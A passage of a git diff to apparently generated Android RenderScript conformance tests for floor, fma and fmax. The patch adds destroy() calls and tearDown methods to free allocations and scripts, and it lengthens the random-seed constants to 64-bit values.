         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testFloorFloat2Float2(inV, out);
             verifyResultsFloorFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkFloorFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2d47b147l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd859224e2d47b147l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testFloorFloat3Float3(inV, out);
             verifyResultsFloorFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testFloorFloat3Float3(inV, out);
             verifyResultsFloorFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkFloorFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2362d225l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd85aeb692362d225l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testFloorFloat4Float4(inV, out);
             verifyResultsFloorFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testFloorFloat4Float4(inV, out);
             verifyResultsFloorFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkFloorHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x56dc16ffl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x872196e856dc16ffl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testFloorHalfHalf(inV, out);
             verifyResultsFloorHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testFloorHalfHalf(inV, out);
             verifyResultsFloorHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkFloorHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2d925e9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x19a03ff02d925e9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testFloorHalf2Half2(inV, out);
             verifyResultsFloorHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testFloorHalf2Half2(inV, out);
             verifyResultsFloorHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkFloorHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x61e0eaddl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x19a0ea061e0eaddl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testFloorHalf3Half3(inV, out);
             verifyResultsFloorHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testFloorHalf3Half3(inV, out);
             verifyResultsFloorHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkFloorHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc0e8afd1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x19a1941c0e8afd1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testFloorHalf4Half4(inV, out);
             verifyResultsFloorHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testFloorHalf4Half4(inV, out);
             verifyResultsFloorHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFloorHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsFloorHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.java
index 80d387b..2943df9 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFma.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFmaRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloatFloat {
         public float inMultiplicand1;
         public float inMultiplicand2;
@@ -45,15 +52,16 @@
     }
 
     private void checkFmaFloatFloatFloatFloat() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x85c419bel, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x85c419bfl, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9d441b0el, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x716293a685c419bel, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x716293a685c419bfl, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4a235a109d441b0el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaFloatFloatFloatFloat(inMultiplicand1, out);
             verifyResultsFmaFloatFloatFloatFloat(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloatFloatFloatFloat: " + e.toString());
         }
@@ -63,9 +71,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaFloatFloatFloatFloat(inMultiplicand1, out);
             verifyResultsFmaFloatFloatFloatFloat(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloatFloatFloatFloat: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaFloatFloatFloatFloat(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -134,15 +146,16 @@
     }
 
     private void checkFmaFloat2Float2Float2Float2() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdda15056l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdda15057l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8aeda396l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1bb42af9dda15056l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1bb42af9dda15057l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x667fbd778aeda396l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaFloat2Float2Float2Float2(inMultiplicand1, out);
             verifyResultsFmaFloat2Float2Float2Float2(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloat2Float2Float2Float2: " + e.toString());
         }
@@ -152,9 +165,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaFloat2Float2Float2Float2(inMultiplicand1, out);
             verifyResultsFmaFloat2Float2Float2Float2(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloat2Float2Float2Float2: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaFloat2Float2Float2Float2(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -223,15 +240,16 @@
     }
 
     private void checkFmaFloat3Float3Float3Float3() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x349697b2l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x349697b3l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x54d5ec8al, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x19169f2d349697b2l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x19169f2d349697b3l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3a56bf5454d5ec8al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaFloat3Float3Float3Float3(inMultiplicand1, out);
             verifyResultsFmaFloat3Float3Float3Float3(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloat3Float3Float3Float3: " + e.toString());
         }
@@ -241,9 +259,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaFloat3Float3Float3Float3(inMultiplicand1, out);
             verifyResultsFmaFloat3Float3Float3Float3(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloat3Float3Float3Float3: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaFloat3Float3Float3Float3(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -312,15 +334,16 @@
     }
 
     private void checkFmaFloat4Float4Float4Float4() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8b8bdf0el, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8b8bdf0fl, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1ebe357el, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x167913608b8bdf0el, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x167913608b8bdf0fl, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe2dc1311ebe357el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaFloat4Float4Float4Float4(inMultiplicand1, out);
             verifyResultsFmaFloat4Float4Float4Float4(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloat4Float4Float4Float4: " + e.toString());
         }
@@ -330,9 +353,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaFloat4Float4Float4Float4(inMultiplicand1, out);
             verifyResultsFmaFloat4Float4Float4Float4(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaFloat4Float4Float4Float4: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaFloat4Float4Float4Float4(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -411,15 +438,16 @@
     }
 
     private void checkFmaHalfHalfHalfHalf() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd7c6a182l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd7c6a183l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x663f87al, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa188a832d7c6a182l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa188a832d7c6a183l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe4da4ed50663f87al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaHalfHalfHalfHalf(inMultiplicand1, out);
             verifyResultsFmaHalfHalfHalfHalf(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalfHalfHalfHalf: " + e.toString());
         }
@@ -429,9 +457,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaHalfHalfHalfHalf(inMultiplicand1, out);
             verifyResultsFmaHalfHalfHalfHalf(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalfHalfHalfHalf: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaHalfHalfHalfHalf(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -506,15 +538,16 @@
     }
 
     private void checkFmaHalf2Half2Half2Half2() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2f0bb556l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2f0bb557l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb6e9fa96l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8bad88222f0bb556l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8bad88222f0bb557l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xaf8a8513b6e9fa96l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaHalf2Half2Half2Half2(inMultiplicand1, out);
             verifyResultsFmaHalf2Half2Half2Half2(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalf2Half2Half2Half2: " + e.toString());
         }
@@ -524,9 +557,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaHalf2Half2Half2Half2(inMultiplicand1, out);
             verifyResultsFmaHalf2Half2Half2Half2(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalf2Half2Half2Half2: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaHalf2Half2Half2Half2(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -601,15 +638,16 @@
     }
 
     private void checkFmaHalf3Half3Half3Half3() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1a5f3c9el, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1a5f3c9fl, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x1b05aael, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x56bd02901a5f3c9el, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x56bd02901a5f3c9fl, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x949e872d01b05aael, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaHalf3Half3Half3Half3(inMultiplicand1, out);
             verifyResultsFmaHalf3Half3Half3Half3(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalf3Half3Half3Half3: " + e.toString());
         }
@@ -619,9 +657,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaHalf3Half3Half3Half3(inMultiplicand1, out);
             verifyResultsFmaHalf3Half3Half3Half3(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalf3Half3Half3Half3: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaHalf3Half3Half3Half3(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -696,15 +738,16 @@
     }
 
     private void checkFmaHalf4Half4Half4Half4() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5b2c3e6l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5b2c3e7l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x4c76bac6l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x21cc7cfe05b2c3e6l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x21cc7cfe05b2c3e7l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x79b289464c76bac6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testFmaHalf4Half4Half4Half4(inMultiplicand1, out);
             verifyResultsFmaHalf4Half4Half4Half4(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalf4Half4Half4Half4: " + e.toString());
         }
@@ -714,9 +757,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testFmaHalf4Half4Half4Half4(inMultiplicand1, out);
             verifyResultsFmaHalf4Half4Half4Half4(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaHalf4Half4Half4Half4: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsFmaHalf4Half4Half4Half4(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.java
index b370652..bffce3d 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmax.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestFmaxRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inA;
         public float inB;
@@ -44,13 +51,14 @@
     }
 
     private void checkFmaxFloatFloatFloat() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6e6fdd7al, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6e6fdd7bl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe6ec75a46e6fdd7al, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe6ec75a46e6fdd7bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxFloatFloatFloat(inA, out);
             verifyResultsFmaxFloatFloatFloat(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxFloatFloatFloat(inA, out);
             verifyResultsFmaxFloatFloatFloat(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloatFloatFloat: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxFloatFloatFloat(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkFmaxFloat2Float2Float2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd458a0c8l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd458a0c9l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xa99eaa6dd458a0c8l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xa99eaa6dd458a0c9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxFloat2Float2Float2(inA, out);
             verifyResultsFmaxFloat2Float2Float2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxFloat2Float2Float2(inA, out);
             verifyResultsFmaxFloat2Float2Float2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat2Float2Float2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsFmaxFloat2Float2Float2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkFmaxFloat3Float3Float3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd636a269l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd636a26al, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfe03888dd636a269l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfe03888dd636a26al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testFmaxFloat3Float3Float3(inA, out);
             verifyResultsFmaxFloat3Float3Float3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testFmaxFloat3Float3Float3(inA, out);
             verifyResultsFmaxFloat3Float3Float3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testFmaxFloat3Float3Float3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
